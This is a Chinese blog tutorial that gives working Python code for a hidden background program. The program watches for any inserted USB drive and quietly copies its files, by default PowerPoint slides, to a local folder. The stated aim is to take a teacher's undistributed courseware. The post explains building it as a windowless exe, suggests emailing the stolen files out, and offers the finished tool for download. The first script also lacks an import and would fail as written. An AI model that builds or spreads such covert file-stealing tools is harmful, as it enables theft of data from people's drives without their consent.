python小工具__U盤文件自動複製器

 

聲明:該教程僅用於學習,不可用於它用

 

 

大學的老師,爲了讓大家每節課都能夠積極去上課。

第一節課特意聲明,課件是不會發放給大家的,這讓很多打算最後兩星期通過看課件學習的人懵逼了,爲此這個工具就出現了

 

 

直接開始教程

 

首先需要安裝兩個庫 psutil, shutil

使用pip安裝一下就可以了

 

確定需求:複製插入的U盤裏的文件

技術點 

1、掃描磁盤,檢查是否有可移動盤

2、遍歷檢查U盤裏的文件

3、找到特定類型文件

4、複製文件到指定盤的文件夾

5、打包成exe

 

 

就這五步,就可以實現了這個小功能

 

下面給出代碼,只可以複製ppt文件版
 

# _*_ coding: utf-8 _*_
# 微信公衆號:python學習專欄

from time import sleep
from shutil import copy
from psutil import disk_partitions

def copy_file(root,file_type=['.ppt', '.pptx'],file_dir='D:/USB'):
    try:
    
        for i in os.listdir(root):   #os.listdir(root) 讀取root目錄下的文件和目錄
            ext=os.path.splitext(i)   #獲取文件後綴
            if os.path.isfile(root+'/'+i):  #判斷是否爲文件
                
                if ext[1] in file_type:  #判斷是否是需要獲取的文件類型
                    if not os.path.exists(file_dir):  #查看文件夾是否存在,不存在則創建
                        os.mkdir(file_dir)
                    copy(root+'/'+i, file_dir)  	#複製文件
            else:
                copy_file(root +'/' +i,file_type)  #遞歸檢查文件夾
    except Exception as e:
        pass
    


    
if __name__ == "__main__":
    
    while True:

        #  檢測所有的驅動器
        for item in disk_partitions():
            if 'removable' in item.opts: #判斷是否有U盤插入
                root = item.device.strip('\\')
                
                copy_file(root)

		#  設置休眠時間
        sleep(20)

 

 

可複雜自己指定的文件類型

# -*- coding: utf-8 -*-  
# 微信公衆號 python學習專欄
import  os
from time import sleep
from shutil import copy
from psutil import disk_partitions



def copy_file(root,file_type='.ppt',file_dir='D:/USB'):
    try:
    
        for i in os.listdir(root):   #os.listdir(root) 讀取root目錄下的文件和目錄
            ext=os.path.splitext(i)   #獲取文件後綴
            if os.path.isfile(root+'/'+i):  #判斷是否爲文件
                
                if ext[1] ==  file_type:  #判斷是否是需要獲取的文件類型
                    if not os.path.exists(file_dir):  #查看文件夾是否存在,不存在則創建
                        os.mkdir(file_dir)
                    copy(root+'/'+i, file_dir)
            else:
                copy_file(root +'/' +i,file_type)
    except Exception as e:
        print(e)
    


    
if __name__ == "__main__":
    
    print('是否需要自定義複製文件類型 yes/no  默認複製ppt類型')
    
    define_type = input()
    if define_type in ['yes','y','YES','Y','Yes']:
    
        print('''
        輸入需要複製的文件類型
        如複製ppt則輸入 .ppt
        ''')

        file_type = input('輸入需要複製的文件類型')
    print('是否需要自定義文件複製後的存放路徑 yes/no 默認 D:/USB ')
    define_dir = input()
    if define_dir in ['yes','y','YES','Y','Yes']:
    
        print('''
        輸入存放文件路徑
        如 : D:/USB/USB
        ''')
        file_dir = input('輸入需要複製的文件類型')
    if define_type in ['yes','y','YES','Y','Yes']:
        
        if define_dir in ['yes','y','YES','Y','Yes']:
            while True:
                #  設置休眠時間
                sleep(1)
                #  檢測所有的驅動器
                for item in disk_partitions():
                    if 'removable' in item.opts: #判斷是否有U盤插入

                        root = item.device.strip('\\')

                        copy_file(root,file_type,file_dir)
        else:

            while True:
                #  設置休眠時間
                sleep(1)
                #  檢測所有的驅動器
                for item in disk_partitions():
                    if 'removable' in item.opts: #判斷是否有U盤插入

                        root = item.device.strip('\\')

                        copy_file(root,file_type)
    else:

        while True:

            #  檢測所有的驅動器
            for item in disk_partitions():
                if 'removable' in item.opts: #判斷是否有U盤插入

                    root = item.device.strip('\\')

                    copy_file(root)


            #  設置休眠時間
            sleep(20)

 

 

打包

安裝pyinstaller

 

在cmd中打包,

執行 

pyinstaller -F -i  filename.ico  -w  ​程序文件名.py

 

-i filename.ico 這是指定圖標

-w  運行時不顯示窗口​

 

 
-h,--help 查看該模塊的幫助信息
-F,-onefile 產生單個的可執行文件
-D,--onedir 產生一個目錄(包含多個文件)作爲可執行程序
-a,--ascii 不包含 Unicode 字符集支持
-d,--debug 產生 debug 版本的可執行文件
-w,--windowed,--noconsolc 指定程序運行時不顯示命令行窗口(僅對 Windows 有效)
-c,--nowindowed,--console 指定使用命令行窗口運行程序(僅對 Windows 有效)
-o DIR,--out=DIR 指定 spec 文件的生成目錄。如果沒有指定,則默認使用當前目錄來生成 spec 文件
-p DIR,--path=DIR 設置 Python 導入模塊的路徑(和設置 PYTHONPATH 環境變量的作用相似)。也可使用路徑分隔符(Windows 使用分號,Linux 使用冒號)來分隔多個路徑
-n NAME,--name=NAME 指定項目(產生的 spec)名字。如果省略該選項,那麼第一個腳本的主文件名將作爲 spec 的名字

 

當然我們還可以加上一個 郵件發送,獲取的文件自動發送到指定郵箱

可以自己嘗試一下

 

這個小工具已經打包成exe

可在公衆號後臺回覆 :  666

可直接獲取

 

python學習專欄

python大神都在關注

 

 

 

發佈了39 篇原創文章 · 獲贊 19 · 訪問量 3萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章